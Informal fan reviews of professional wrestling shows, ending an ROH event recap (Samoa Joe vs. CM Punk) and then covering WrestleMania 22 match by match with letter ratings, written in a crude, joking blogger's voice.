Off to something like half of a Regal Stretch minus the leg trap and Jacobs is out cold. His hand only drops twice though and Jacobs fights out again. Something like a Killswitch puts Shelley down but Jacobs is spent. The senton (the backsplash, not the bomb) hits this time and he wears Shelley out with the stick and puts the same hold on Shelley. Jacobs takes forever to set up a pair of chairs with a third bridged over it. And of course he winds up going through it himself in a brainbuster and then back to the Stretch. Jacobs shouts he’s better than Shelley but gives up.

Rating: B. Pretty good and violent match here. When these kind of matches are on they can be very on and this one worked pretty well. Shelley is a guy that can be interesting when you let him do something other than being half of the Machineguns. Jacobs would become a very interesting character who was mentally tortured by a lot of things. Cool match here.

Shelley goes off on Jacobs post match and Strong comes in to help with the beatdown. Steamboat comes out for the save. The Carnage Crew comes out and beats Steamboat down but finally Maff/Whitmer/Foley come out for the save.

ROH World Title: Samoa Joe vs. CM Punk

Punk is blonde here. The fans are split as Joe is the most popular guy in the company but it’s Punk’s hometown. They shake hands and here we go. It’s weird to see Joe using power moves. The idea is that Joe proved he could go long distances and now Punk needs another idea to fight Joe. Feeling out process to start with not much of note going on so far. They go into the corner and Joe breaks clean to tick off the crowd.

Joe hooks a hammerlock and into an armbar. Punk takes him to the corner and it’s another clean break, almost shocking everyone. Punk cartwheels out of a wristlock and Joe is like boy please and takes him down into a camel clutch. Man and he cranks on that thing. He’s channeling his inner humbler. Punk rolls out into a headlock which he used a lot in the first match. They have a ton of time to work with here so this is fine.

In a nice looking move, Joe has Punk in a Pedigree position but they’re on the mat and it’s a submission hold. I like the plug from the commentator as he talks about the shopping site where there are DVDs and all that jazz. That’s all normal and fine but at the end of it he says “Ok we got that out of the way. It’s important but I want to get back to the match.” I don’t know why but I found that really refreshing.

This has been almost all on the mat or in a technical style and I’m digging it. Punk has used a bunch of headlocks here but the idea is he used that in the first match to wear Joe down and had success with it. That’s some higher level psychology and the announcers did their part by explaining it in like two sentences. See it’s not hard. Even a belly to back suplex can’t get the hold broken.

They exchange shoulder blocks and Punk is getting fired up. We hit the strikes and Punk speeds things WAY up, grabbing a rollup and Joe bails for a bit which stuns the announcers. Back to the mat game and man are they fast down there. After Punk chills for a bit on the floor he tries a test of strength because….uh…..why would you try that against Joe? They fire off chops in the corner and while it’s not exactly Flair vs. Steamboat it’s not bad.

They go to the corner now and Punk walks the ropes to start in on the arm. Joe’s arm gets worked on for a long while and now it’s back to the headlock. This has been going on about half an hour now and it’s pretty solid stuff, almost like a chess match. Out to the floor and of course Punk is in over his head out there. Joe is a big power brawler to go with his submission stuff here so he was really more like Benoit actually.

Over to the corner and Joe fires off some face washes but Punk avoids the running boot. Now Punk washes Joe’s face in the other corner. Nice little touch there. Foley is watching from the crowd. Thankfully they don’t cut to him and miss part of the match. A driving knee from the top (knee on the back of Joe’s head and Punk drove him down) gets two. Joe grabs a very modified STF out of nowhere and DANG. They were up on their knees but then Joe bent him back so that Punk was laying on his back but his legs were underneath him. FREAKING OW MAN!!!

Punk goes up but Joe just walks away like only he does. I love that realism thing. Delayed vertical suplex (about twenty seconds) gets two for Joe. Punk goes for the arm but Joe cuts the knees out and hooks a Boston Crab. Joe fires off a bunch of kicks to the head but Punk fires off some forearms. Joe is like whatever and pops him in the face for two. This time Joe gets the Facewashes and the running boot.

Punk finally gets a boot up in the corner and then a rana to the floor. A suicide dive puts both guys down and Punk gets control back. Punk, ever the jerk, hits Joe’s Ole Kick on the floor. He tries another rana off the apron but Joe catches him in a powerbomb position and spins Punk around into the barricade. Now Joe fires off the Ole but Punk blocks. They slug it out on the floor and this time the Ole hits.

After a quick skirmish in the ring they go back to the floor…..and the announcers walk off. They say they want to watch it as fans and say the match speaks for itself. Joe gets a DDT onto the apron and I’m assuming the fanboy announcers are pleased with that. Were they paying them by the hour and run out of money or something? Back in and a spear gets a very fast two.

We’re at 45 minutes. A top rope splash misses for the fat man and they do the slugging it out from their knees spot. A snap powerslam gets two for Joe and it’s off to a cross armbreaker. Punk just can’t get away from that, even today. A big boot gets two for Punk. There’s someone at ringside but since the announcers ran out for guacamole and gram crackers, we’re on our own as to who he is.

Punk gets a tornado DDT and the Anaconda Vice which he lets go for no apparent reason. Joe takes over with a clothesline and follows it up with a pair of busters (gut and brain) for two each. Joe does his powerbomb into a crab into the STF into the crossface sequence. Sunset flip gets two for Punk as does a kick to the head. They do the whole exchange submission finishers and Punk winds up putting the Clutch on Joe.

That gets him nowhere and a double clothesline puts them both down. Two Pepsi Plunges are blocked into a superplex by Joe for a delayed two. Joe sets for the MuscleBuster but Punk goes insane pounding on Joe’s back to break it up. Another Plunge is attempted but Joe counters into the MuscleBuster….and that’s the time limit as Punk is out cold. Uh…shouldn’t the match end with Joe out cold and Punk needing 5 more seconds to win the title?

Rating: B. It’s good, but the feeling I got here was “we have to have a classic”, not “this was a classic”. The first 15 minutes of this were all about the headlock and wearing Joe down and all that jazz, but it never went anywhere after that. The last half an hour or so didn’t really have much drama for my taste.

The problem was they were going for regular moves instead of trying to finish. The problem with that is that you have Joe and Punk who have already gone an hour before and you know that’s not going to finish either guy. This was reminiscent of Hart vs. Michaels, where a lot could have been condensed and the match would have improved a lot. It’s still good, but it’s not the epic classic that it’s supposed to be.

They shake hands post match.

Punk is sure he can beat Joe but he’s not sure if Joe can beat him. Punk wants a no time limit match. That match would happen and Joe would win.

Joe says that was your second and last chance. The job was to beat him, not survive him. He’s right.

Overall Rating: B-. The show is good but other than the last two matches there’s not much to see here from a wrestling standpoint. Steamboat and Foley are great and the Flair jokes are hilarious. I know someone is going to rip me for the Joe vs. Punk stuff and I have a feeling I know who it’s going to be. It’s good, but it’s not the classic it’s said to be and I’m sure the ROH bots are going to explain to me why I don’t get it and I don’t know real wrestling. Let’s get it over with.




History of Wrestlemania with KB – Wrestlemania 22 – I barely remember this show.

Wrestlemania 22
Date: April 2, 2006
Location: Allstate Arena, Chicago, Illinois
Attendance: 17,159
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Tazz
America The Beautiful: Michelle Williams

Now this is an interesting show.  We’re now fully into what I guess you would call the modern era of both the company and Mania.  Cena is the dominant world champion, Orton was his evil self, Taker’s Streak is at full power and Shawn is his Christian self.  This show is much like 19: it’s solid, but easily forgettable for some reason.  The wrestling is good but at the same time nothing jumps off the page at you.

This is also Kurt Angle’s more or less swan song in WWE as far as major angles go.  He was drafted to ECW a few months later and after that did little to anything of note until his release and arrival in TNA.  Jeff Hardy was about four months away from his comeback.  The card looks somewhere between good and better than good so let’s get to it.

An added factor to this show is that I went to the follow up Raw exclusive PPV, Backlash, the next month.  Since I remember it fairly well, I’ll be able to throw in some post show stuff leading up to Backlash.

After America the Beautiful it’s the standard history package to start with I Dare You by Shinedown playing which is a very good song here. The recap videos are something that WWE has always done very well. I don’t remember much of this buildup as it was three years ago but the packages help a lot. The theme song here is Big Time which is a bad pop song. Wrestlemania is supposed to have a freaking ROCK song with it, not a bad pop song.

A video runs us through the main matches and I have to think of the stupid Rey main event tour.  Also tonight it’s Cena vs. HHH and Shawn vs. Vince.  This is one of the weaker Manias as far as cards go if you didn’t get that.
Raw Tag Titles: Big Show/Kane vs. Carlito/Chris Masters

This was around the time that the two giants were just crushing everyone in their paths with reckless abandon. Carlito and Masters were two young guys that weren’t quite thrown together to face them here. As usual the Chicago crowd is white hot.  Kane and Show come out together and weigh over 800lbs.  How in the world is Kane the lightweight on a team?

Masters vs. Kane to start us off here.  This is the first time in seven years that the titles have been defended at Mania in a traditional tag match.  That’s kind of pathetic when you think about it.  Show comes in and drills Masters a bit.  Big chop in the corner makes people say WOO even though it’s a different kind of chop than Flair threw.

Show slams him and steps on the chest of Masters who tags out to Carlito.  The Puerto Rican tries a wristlock and is promptly lifted up into the air and crotched with ease.  Show launches Carlito onto Masters on the floor.  Kane throws out a clothesline to both but lands between them resulting in a massive THUD on the floor but is up first.  Total and complete dominance so far.

Somehow the challengers got the buckle off and Carlito dropkicks Show’s knee to send Show’s head into the buckle.  Off to Masters now but like idiots they try a double suplex and get launched for their troubles.  Kane comes in and a huge backdrop takes down Carlito.

Carlito gets a boot up and that more or less ends his offense.  Masters manages to get the Masterlock on Kane but Show kicks him in the face to break it.  Backstabber to Kane but Carlito walks into a chokeslam.  Masters saves but Kane gets up.  There’s no end to these guys.  Chokeslam to Carlito ends this.

Rating: D+. It wasn’t a classic but it wasn’t supposed to be. This was little more than a glorified squash and that’s just fine for an opener. Both teams would be split up within a month though as the heels argued over who cost them the match here, leading to the Backlash opener which the newly face Carlito would win with a Backstabber. Kane and Show would lose the tag titles to the Spirit Squad of all people and Kane would begin to go insane.

They began a weird tweener vs. face feud where Kane’s voice would play throughout the arena as somehow not only could we hear his thoughts but they were wired around the arena. It tied in somehow to Kane’s See No Evil movie, but it was still pretty bad. It culminated with a fake Kane, apparently from Kane’s past, beating Kane at Vengeance. It made no sense and was a total waste of about three months.

Masters and Carlito argue post match with the fans supporting Carlito.

Shawn says he doesn’t regret telling Vince that Vince needed to grow up because it was the truth.  He talks about how he’s always stealing the show at Mania but not to expect a five star classic out of HBK.  Tonight is about violence because tonight it’s Vince that needs to pray as tonight Vince is enduring his own personal torment.
Money in the Bank

Matt Hardy, Shelton Benjamin, Finlay, Ric Flair, Lashley, Rob Van Dam
Lillian in that dress with the cut down to her stomach made me lose consciousness for a bit there.  Shelton is IC Champion here so no defense of it again.  All four commentators are talking here.  Van Dam is pretty clearly the most popular guy here.  Lashley is a freaking beast.  Flair comes out last because I guess he’s the most exciting one with a ladder?  That pink robe kind of makes me think he’s not very extreme.

This is only the second of the matches so there isn’t really a track record.  RVD chant to start as Lashley destroys everyone with power.  Matt brings in the first ladder but Van Dam hits a baseball slide to stop it from coming in and dives on the ladder onto Hardy.  No one is in the ring at the moment until Finlay vs. Shelton goes on there.  Shelton hammers him with a ladder which is set up in front of the ropes like a ramp.  Shelton gets a running start and hits a big flip off of it onto everyone not named Flair.

Finlay and Flair go up but the ladder isn’t in the right place for Flair.  Matt goes up and suplexes the young 57 year old down.  Flair is in agony and the referee throws up the X for him.  Hey, did you know he broke his back in a plane crash in the 70s?  Didn’t know if the first million or so times we told you that got it through or not.  RVD drops Shelton onto the ladder but misses Rolling Thunder on it.  There are only five people in there still at the moment.

Lashley goes up very slowly of course but Shelton runs up only to get popped in the head.  Shelton fights him off but can’t get a sunset bomb to take him down.  Matt and Finlay help him out and down goes Lashley finally.  Another big RVD chant starts up.  Matt takes over on offense but when he puts a ladder in front of Finlay to charge at him Finlay throws the ladder at him for a FREAKING OW MAN moment.

Here comes Flair because he hasn’t been on camera for almost five minutes.  Did he need to be oiled or something?  Since the ring is empty he sets up a ladder but is stopped by Matt.  Flair chops some people away and touches the case.  Finlay pops up with the club that no one can spell and takes Flair down.  The case is swinging though so Shelton is able to stop him or at least slow him down.

Shelton knocks him down and tries to go up but Lashley shoves it down.  Van Dam hasn’t been seen in a good while.  Oh there he is with a chair on the top.  He jumps off and dropkicks the chair into the ladder and everyone is down.  Hardy, the idiot that he is, sets up a ladder in the corner.  Oh instead he’s doing a signature move instead of trying to win.  What a shock.

He goes up and gets a hand on it, drawing a ton of boos.  Finlay makes the save and we’re told he’s not a ladder specialist.  Dude you go up.  How hard can it be?  Side Effect to Finlay off the ladder takes down Finlay, Hardy and the ladder.  Van Dam climbs the ladder in the corner and drops a regular splash on Finlay.  It’s good that he didn’t do the Five Star version as he would have killed himself.

In one of my all time favorite spots, Van Dam goes up top but Shelton springboards from the apron to the top rope to the ladder to catch Van Dam.  That’s simply incredible and beats everything I’ve ever seen.  Matt puts up another ladder but he and Shelton go down.  Van Dam is alone and is like dude that’s awesome and wins the match by pulling down the case.  He would win the title in June but lose it in three weeks due to getting high with Sabu.

Rating: B. Solid stuff here of course but WAY too short to be a great match.  This was less than twelve and a half minutes long to give you an idea of how short it was. This was good but at the same time they needed more to it.  Also with only Lashley and Van Dam being legit contenders out there it was a bit weaker than last year.  Good match though.

Josh Matthews, with a lot of hair, is with Gene Okerlund who has no hair.  Orton interrupts and says he’ll win the title tonight.  Batista pops up and says he’s returning soon, which is true.  Just three short months later he did return.

It’s time for the Hall of Fame class to come out.  Bret Hart isn’t here which is understandable I guess.  The rest is Mean Gene, Sensational Sherri, Tony Atlas (they’re all accompanied by Divas here if that means anything), Verne Gagne, William “Refrigerator” Perry (he couldn’t get a suit for this?) the Blackjacks, Eddie Guerrero (represented by Vickie who wasn’t a TV character yet) and of course Bret who isn’t here.

United States Title: John Bradshaw Layfield vs. Chris Benoit
No real storyline here as it’s really just JBL challenging him for the belt. In a really cool looking visual, the entrance ramp rises up like a garage and JBL’s limo drives out of it. Good lord Jillian Hall looks amazingly hot as a cowgirl.  JBL has a hand injury here.  JBL grabs a headlock to start and takes Benoit down with a shoulder.  Benoit tries the Crossface out of nowhere but can’t lock it in.

Instead Chris settles for some hard chops in the corner.  Out to the floor and JBL hides behind Jillian to take over.  Benoit tries to chop back so JBL KICKS HIM IN THE FACE.  Why mess with what works?  Rolling Germans by Benoit must have JBL wanting to throw out some Nazi salutes.  Benoit goes but get crotched.  Eh with all those steroids in him the balls didn’t feel anything.  JBL does Eddie’s dance to draw big heat and hits a superplex for two.

In a stat that I find almost impossible to believe, Cole says that only 5 matches in Mania history have ended in submission. I had to stop the match and go back to check on that. I found 7: Angle vs. HBK (21), Benoit vs. HBK vs. HHH (20), Rick Martel vs. Koko B. Ware (6), Steve Austin vs. Savio Vega (12-sleeper) Bret Hart vs. Steve Austin (13-Austin never tapped so I’m not sure if that counts), Roddy Piper vs. Adrian Adonis (3-sleeper) and Bret Hart vs. Bob Backlund (11).

Even with Cole being wrong, that’s still amazing. 7 in the first 21 shows meaning just one every three years. That’s either really impressive or really bad.  Anyway JBL dances a bit more and hits Three Amigos.  Benoit counters the third one but gets kicked in the face for two for his troubles.  Off to a chinlock by JBL as things slow down a bit.

Benoit fights back and does Three Amigos of his own with Cole saying “this is how it’s done”, despite Benoit getting up differently than Eddie did.  JBL did the same thing Eddie did.  Flying headbutt by Benoit gets a long two.  Clothesline misses but JBL grabs the referee to avoid the suplex.  Clothesline attempt #2 is caught into the Crossface but JBL casually rolls him over and grabs the rope for the title.  That’s the ending?  Really?

Rating: D+. Seriously, that’s all there is here? The ending was flat out terrible. It made no sense at all and came from nowhere. JBL literally wasn’t in the Crossface for two seconds, and I timed it, before he rolled out. This match felt like it didn’t have a beginning and started at about 5 minutes in if that makes sense. Really not that good at all.

We recap the hardcore match between Edge vs. Mick Foley.  Now this is the match this show is remembered for and with good reason. The story is that Edge stole the WWE Title from Cena using his MITB contract. Foley was the referee for some reason during the rematch, won by Cena. Edge of course says it was biased officiating. That leads to Edge challenging Foley, but Foley saying it’s hardcore. We get this.
Edge vs. Mick Foley
Joey Styles is on commentary here as he freaking well should be. Lita looks INSANELY hot here with the Edge vest, bra and jeans. Good freaking lord. Edge has a ball bat with him. Edge’s facial expressions as Foley comes to the ring makes this match already. That’s his best asset and always has been. When he gets in a big match, Edge’s face is just amazing. Foley has his (blue) flannel shirt on so you know he’s serious here.

Styles actually analyzes Foley’s choice of flannel which is a bit odd. Styles really is a great choice for commentary here as his voice just fits this.  Edge swings away with the bat almost immediately which gets him nowhere.  Tree of Woe by Edge early as Foley drops an elbow on him.  Edge gets a shot in and has Lita hand him a cookie sheet.

These shots are LOUD.  Foley takes a street sign to the head and rubs hit stomach.  Do the sheets smell like cookies?  Edge hits the spear after maybe two minutes and is writhing in pain from it.  Foley gets up and rips off the blue flannel to reveal a belt made of barbed wire and the RED FLANNEL SHIRT!!!  Foley whips him with the barbed wire and Edge is bleeding from the arm.

Edge is now tied up in the rope and the crowd pops for it.  Foley hits the floor and finds Barbie, the barbed wire baseball bat.  Lita comes in for the save by jumping on Foley’s back (seriously is there anyone she won’t hit on?) so Foley is like screw it and we get a Cactus Clothesline to the floor.  That and a neckbreaker outside both get two.

It appears Foley has become Cactus Jack but when he tries a running knee into Edge into the steps he gets hip blocked into the steps which looked awful.  Again the knees go into the steps.  Does anyone wonder why Foley can barely walk anymore?  Chair time by Edge.  Sorry that there aren’t many jokes in this but there’s not much to make fun of.  Edge hits the floor again and busts out a table.

Foley rolls off before Edge can put him through it so instead he just rams him into the steel of the ramp.  That sound made me cringe.  Back in the ring now and Edge has…oh blast it he has lighter fluid.  He pours it on Foley but Mick is able to get a Piledriver to save his own life.  Using a cookie sheet instead of a second chair Edge almost takes a Conchairto.  He manages to get up and give Foley a DDT (not) on the cookie sheet.

Edge with Barbie now (is Lita Ken?) and he hammers Foley with it to draw blood.  A bulldog onto Barbie gets two.  Out to the floor goes Edge and he finds a bag of tacks.  Oh dear.  Apparently he had a bunch of weapons hidden underneath the stairs.  Foley manages to reverse though and suplexes Edge onto the tacks.  Considering Edge wasn’t wearing a shirt that was awesome.

Here’s Socko but Foley wraps it in barbed wire.  Claw to Lita as well and now Foley has Barbie (make sure to use protection since Edge already had her).  Edge takes a shot to the head and is busted open as well.  Oh man he’s cut BAD.  Foley, the nice guy that he is, rips the barbed wire deeper into the skin of our Canadian villain.

Foley finds the lighter fluid and holds it up like a treasure in a Zelda game.  The table gets soaked in it and yep they light it on fire.  In the famous spot from this show, Edge dives through the ropes and spears Foley into the flaming table, burning both men in the process.  The pin is academic.

Rating: A. They wanted to make Edge look awesome and they certainly did it here.  Foley looked great too as once in awhile he can break out a great match and that’s what he did here.  This was exactly what they needed and was enough to let Edge get back into the main event.  Great match and the Mania moment that both guys were looking for.  In true WWE style, they would be partners weeks later.

Foley gets a standing ovation to leave.
Booker and Sharmell are in the back and Sharmell is freaking over Boogeyman. Booker says he’s not a freak magnet. He then runs into Pirate Paul Burchill and then Ted DiBiase and Eugene doing the basketball thing as I mark out.  The basketball thing was where DiBiase would say that if a guy could bounce a basketball 100 times in a row he would give them 1000 dollars.

On about 97 he would kick it away.   He laughs and offers Booker a chance at it, saying everybody’s got a price for the Million Dollar Man. Seriously people, go look up his old stuff. In my opinion, he is still the greatest heel that ever lived. One more note about the basketball trick, back in the 80s, a young man from Battle Creek, Michigan named Rob was swindled by DiBiase. He eventually changed his name to Rob Van Dam.

He also finds Snitsky licking Mae Young’s toes and Goldust dressed as Oprah.  I love these kinds of segments.  Goldie says Booker has to accept the freak in him to beat the Boogeyman.  There’s talk of worms in mouths and in a place that Booker is angry over having Goldust whisper to him.  DiBiase’s laugh takes us off.

Ad for Backlash.  Hey I was there!

We see some sweepstakes winners that no one cares about.

Joe Theisman and Michelle Williams of Destiny’s Child are here.

Booker T/Sharmell vs. Boogeyman

The idea here is Booker keeps faking injuries to get out of matches and is threatened with being fired if he doesn’t wrestle. He was found out anyway and here’s your result.  Oh and they’re both terrified of Boogey.  Yes Booker, a five time world champion, is terrified of the Boogeyman.  Booker wants Sharmell to start us off.  It’s weird to hear Cole as a normal announcer at this point.

Booker comes in and hammers away.  This is about what you would expect: Booker pounds away, it doesn’t work, Boogey dances a lot and Booker still can’t hurt him.  Book End hits and Boogeyman gets up at two.  Booker is sent into the post and Boogeyman pulls out a pocket full of worms.  He has a snack and Sharmell tries to hit Boogey with his staff.  She gets kissed by a mouth full of worms and runs.  Chokebomb ends this with Boogeyman winning.

Rating: F. If I need to explain this, you’re an idiot.  Did Booker get caught screw Stephanie while giving TNA inside information and choking out Vince at the same time or something?

We recap Trish vs. Mickie.  In short, Mickie was psycho and wanted Trish.  This involved seeing Trish in the shower and kissing her.  I think they dressed up as each other a few times also.  Trish finally has enough and Mickie loses it.  Trish has been champion for like a year at this point so the title change was long overdue.  Watching this video, the build to this was pretty awesome.
Women’s Title: Trish Stratus vs. Mickie James

The main perk here would be their looks.  Mickie would wear these really loose skirts which would often fly into the air.  To the shock of no one, Trish looks incredible.  It’s so ridiculous to see how far the Divas have fallen today.  These girls have personality and are interesting and I want to see them fight after what felt like a somewhat epic storyline built around them.

Trish goes right after her and gets a Thesz Press to take her down.  Big chop puts Mickie down.  Trish knocks Mickie down into the splits and then kicks her in the head.  Out to the floor and the Chick Kick hits the post to set the story for this match.  Mickie works the knee because she’s intelligent despite being psycho.

She DDTs the leg for two as the fans are almost ALL behind Mickie here.  Lots of knee work here which is the main thing involved in Trish’s finishers.  She pulls Trish’s hair and slams Trish’s face into the mat in a painful looking move.  Mickie jumps onto the leg and spins around, looking for praise.

Mickie is mixing up her offense on the leg between holds and strikes to it.  See, THAT is important.  It makes things far more interesting as instead of just sitting around with one thing we get a variety.  She puts a leg bar on but Trish wraps her legs around Mickie’s head and gets a headscissors out of it.  That was rather good actually.

They slug it out a bit more with neither girl having a real advantage.  Mickie goes up but Trish catches her in the Stratusphere.  Mickie counters that though and drapes the leg over the top rope again which gets two.  Half crab is rolled up into a small package which gives us two and a great back shot.  Mickie goes up again but is caught by a sitout powerbomb for two.

Trish hammers away and the Matrish avoids a kick of some sort.  She sets for Startusfaction but Mickie rubs Trish’s crotch to break it up and then licks the hand that was down there.  See, little things like that get the gimmick over.  They set for the ending which is Mickie using the Stratusfaction but Mickie TOTALLY misses the rope and botches the heck out of it.  A weak kick to the head ends it instead.  JR’s line of THE NUTJOB HAS WON THE TITLE sums this up perfectly.

Rating: B. This would have been an A if not for the finish. I’m not sure which is better: the tiny outfits and how sexy both were in them or the fact that this was really a great match. The botch at the end almost kills this though, but aside from that it’s great and one of the best women’s matches I’ve ever seen.  More importantly than anything though: I cared about it because there was an interesting storyline with developed characters.  DO THAT MORE OFTEN!
All four McMahons are in the back and they pray.  What do you really expect here?

Undertaker vs. Mark Henry

This match came about after Henry was for some reason pushed as top heel on Smackdown, feuding with Angle for the title. Angle beat him clean at the Rumble and then Taker had Angle beat for the title on Smackdown but Henry attacked the dead man.  Taker than challenged Henry to a Casket Match for some reason and we get this.  No buildup video for this either as they’re not even trying to convince us the Streak is in jeopardy.  Henry is of course not afraid of the dark.

Taker gets the big entrance with the druids.  Oh wait that’s just for the casket.  Hey we do get a brief recap.  I see why it didn’t get a full one.  Daivari is Henry’s manager at this point but isn’t here.  This would lead to the debut of Great Khali.  Henry jumps Taker during his entrance, more or less sealing his fate.  Taker gets a big boot and clothesline but can’t take Henry down.

Clothesline by Henry shifts momentum a bit.  Can you believe that this is the same guy that was able to have classics with Shawn and then on the other hand you have Henry who had been there ten years at this point and has gotten worse after starting bad?  If you can’t tell I’m trying to not have to talk about the match.  Henry goes into the steps, Taker goes into the steps, Old School is blocked and the casket is open.

No one in the world thought Henry had a chance here and the fans are more or less accepting that.  When Henry is on offense there’s no heat at all.  Taker gets a boot to the shoulder and hammers away on it.  Old School hits this time and Henry still won’t go down.  Taker tries a Downward Spiral but is blocked, drawing a Henry Sucks chant.

Henry goes after Taker but misses, landing in the casket.  Taker winds up in there also and they fight in there for a bit.  Taker reaches up and chokes away as this is already needing to end.  Back in the ring with Taker striking but he jumps into the World’s Strongest Slam for no cover as Henry isn’t that intelligent.  Taker stands up in the casket and gets out rather easily.

Taker gets beaten down in the corner and then like the moron that he is, Henry climbs up to pound down punches.  When do you see Taker try cross bodies or Henry do that?  Not a fan of moves like those.  Taker doesn’t get a Last Ride but more or less falls forward to put Henry down.  Henry goes onto the casket so Taker dives over it to take him down.  Tombstone in the ring and the ending is academic.

Rating: D. This was bad for one simple reason: there was no drama to it at all.  Taker matches at Mania can work very well but at the same time there are matches where there’s no point to him being there, such as this one.  I mean dude, Mark Henry?  This was a joke and everyone knew it.  Boring match and nothing happened at all.

There’s a Divas Lingerie show coming up or something.

We recap Shawn vs. Vince.  There was a Raw in Montreal and Shawn apologized to the fans, who kind of accepted it. Vince comes out and laughs about it. Shawn says he needs to grow up, then throws a super kick at him, intentionally missing by as little a margin as he can. This launched a feud which mainly consisted of Vince trying to get Shawn hurt.

Marty Jannetty returned to try to help Shawn but was fired after something like two weeks. Shane faced Shawn on SNME in a street fight and they redid the Montreal finish. Somewhere in there Shawn was forced to kiss up to Vince. It was an ok feud but nothing great. The blowoff was supposed to be here, so let’s take a look.  This was supposed to be Bret but he didn’t do it for four years.

Shawn Michaels vs. Vince McMahon

Shawn comes out first which is kind surprising.  Vince is demonic according to JR as he comes out.  McMahon is very proud of his physique and can you blame him?  He has a framed cover of his Muscle and Fitness magazine at ringside which might as well have an X on the middle for the part that goes on his head.  Shawn goes straight to the floor and we head to the tables quickly.

JR loses his headset which makes this match more enjoyable.  Shawn grabs the framed cover and cracks it over Vince’s head.  JR is completely one sided here because of Vince treating him badly over the years or something.  The Spirit Squad hits the ring to make it 6-1.  Who would have thought that Dolph Ziggler (Nicky!) would be a world champion before Shawn?

They hit their finisher which is where they all grab the other guy and throw him into the air as high as they can.  Kenny misses a guillotine legdrop and Mikey grabs the bullhorn which is applied to the sides of their heads.  Vince is able to recuperate during that time and hammers away a bit.  Off comes the belt and the whipping begins.

Vince sets for Sweet Chin Music which is caught.  Maybe he should have tuned up with a little Stand Back before he did that.  Shawn fires away with the forearm and nip up so he can whip Vince a bit.  Top rope elbow hits and it’s time to Tune Up the Band.  Cue Shane with a kendo stick to crack Shawn in the head.

With Shane standing guard, Vince takes down his own pants.  Yep it’s time for the kissing spot but Shawn gets his momentum back and sends Shane’s face into his dad’s back.  Shawn pulls handcuffs out of somewhere (Vince maybe?) and ties Shane to the rope.  After doing Shane’s dance, Shawn beats the tar out of him with the stick.

Chair time and a HUGE shot puts Vince down.  Shawn sets for chin music but stops as Vince collapses.  Instead he hits the floor and pulls out a ladder.  A shot to the head puts down Vince as I think you know what’s coming here.  Vince is dripping blood here.  Chin Music is stopped again as Vince is almost lifeless.

Shawn pulls out some garbage cans and a table.  Shane is still cuffed mind you.  The table is set up after a can shot.  Shawn goes up the ladder with Vince on the table and then climbs down.  He had a scary look on his face before he came down.  Out to the floor again and it’s the BIG ladder.  Lawler says it’s 30ft high, meaning Shawn is about 15 feet tall.  Shawn fires a crotch chop from the ladder and drops the biggest elbow ever to kill Vince.  Sweet Chin Music finally ends this with Vince just collapsing from it.  The pin is academic of course.

Rating: C+. Well this was supposed to be a beating and that’s exactly what it was.  Vince can take one heck of a beating when he has to and this was no exception.  Shawn looked great here with the whole letting the old Shawn sneak in as his mind was being affected by Vince.  Good beating but Vince had literally nothing for about 8 minutes at the end.  Granted he wasn’t supposed to so that’s easily forgivable.  Fun stuff but not great.

Vince flips off Shawn from the stretcher which is just classic.

WM 23 is coming to Detroit.

We recap the Smackdown World Title match.  Angle is the champion.  Rey won the Rumble in honor of Eddie Guerrero and last eliminated Randy Orton to win.  Orton went insane heel by saying Eddie was burning and managed to get Rey vs. Orton at No Way Out for the Mania title shot.  Orton won and Teddy just made it a triple threat because he could.  You knew there would be a triple threat in there somehow.  This gets the music video treatment tonight, set to I Dare You by Shinedown.  Love that song.

Smackdown Title: Rey Mysterio vs. Kurt Angle vs. Randy Orton

POD plays Rey to the ring which is always awesome to see.  This would be cool but Rey has a massive headdress on which I think is taller than he is.  Dang it Rey does no one look at you before you go out there?  Orton is very cocky here and therefore awesome.

Kurt got the title when Batista was injured and Kurt won a battle royal.  See, that’s the perk of having guys like him or Shawn.  Got an injury?  Need a totally credible main eventer to throw in there?  How about Kurt Angle or Shawn Michaels as world champion?  I think most people would be cool with that.  I would be.

Orton jumps Kurt and the fight is on.  Kurt is on the floor and Orton gets a dropkick on Rey for two.  Angle gets back in and grabs a German on Orton.  Then he suplexes both at once and Rey goes FLYING.  That was awesome looking.  Angle is all fired up here.  Belly to belly to Orton as Kurt is killing it.  Rey hammers away at baldie and the fans audibly boo.  But it’s about EDDIE!!!

In a great spot, Orton is sitting on the ropes and Rey charges at Angle.  Angle grabs him and launches him over Kurt’s head and Rey lands in a perfect rana on Orton for two.  Angle suplexes Orton back into the ring and the fans are behind him.  Rey gets a kick to Kurt’s head to take him down for two.  The fans chant 619 and Rey gets a headscissors to Kurt who crawls into the 619 position like an idiot.

Ok maybe not so much of an idiot as Kurt grabs the ankle lock out of nowhere.  Orton distracts the referee so the tapping by Rey isn’t seen.  Kurt and Orton slug it out but I guess Kurt gets bored so he suplexes everyone in sight and hits the Angle Slam to Rey to the floor.  Ankle lock to Orton and Kurt gets the grapevine.  Rey pulls the referee out as Orton taps so Kurt has won twice in theory.

Kurt throws it on again but this time Rey drops the dime to break it up for two.  Fans aren’t thrilled by that at all.  Rey is sent into the post but Orton counters the Angle Slam and hits the RKO for two.  Randy goes up so Kurt pops up the corner and gets the belly to belly.  Rey botches the 619 then does it right.

Seated Senton gets two on Kurt.  Orton kicks Kurt to the floor and gets a slick backbreaker into a neckbreaker for two on Rey.  He sets for the RKO but Angle hits the Slam on him for two.  Rey avoids the Slam and sends Kurt to the floor via an armdrag.  619 sets up the West Coast Pop to Orton to give Rey his first world title in less than ten minutes.  Seriously, that’s it?

Rating: D+. Seriously, that’s it?  The match was ok but for a world title match at Wrestlemania, that’s it?  How many world title matches have you seen at Wrestlemania that don’t crack nine and a half minutes?  The title reign was awful, namely due to him being booked like a joke but that’s another story.  The match was ok but I thought it was clipped as it was so ridiculously short.

HHH and Cena are getting ready.  The fans are clearly behind HHH here, openly booing Cena.  Ross says most of the fans are traditional as he’s clearly out of stuff to talk about.  Maybe a match ran short?  LOUD Cena Sucks chant.

Torrie Wilson vs. Candice Michelle

This is a Playboy Pillow Fight and the reason they were stalling I guess.  Candice is introduced from the wrong city.  JR says the gate tonight is over $2 million dollars.  That’s insane to say the least, especially considering this isn’t a stadium and has less than 20,000 people.  Torrie’s music was recycled and is now used by Laycool.  She has a freaking dog with her.  Ross makes my head feel better by saying the next show is in Lexington.  That made me smile.

These two had both been in Playboy.  There’s a bed in the ring and pillows and all that jazz.  You win by pin or submission.  Do I need to explain what’s going on here?  They’ve in evening gowns, they don’t stay on long, Torrie wins and they’re in very little clothing.  We’re done.  This got nearly 4 minutes.  Yes, this got almost half as long as the world title match.  This couldn’t have been added to that match perhaps?  I guess not.

Rating: F. Long, dull, and a waste of my time.

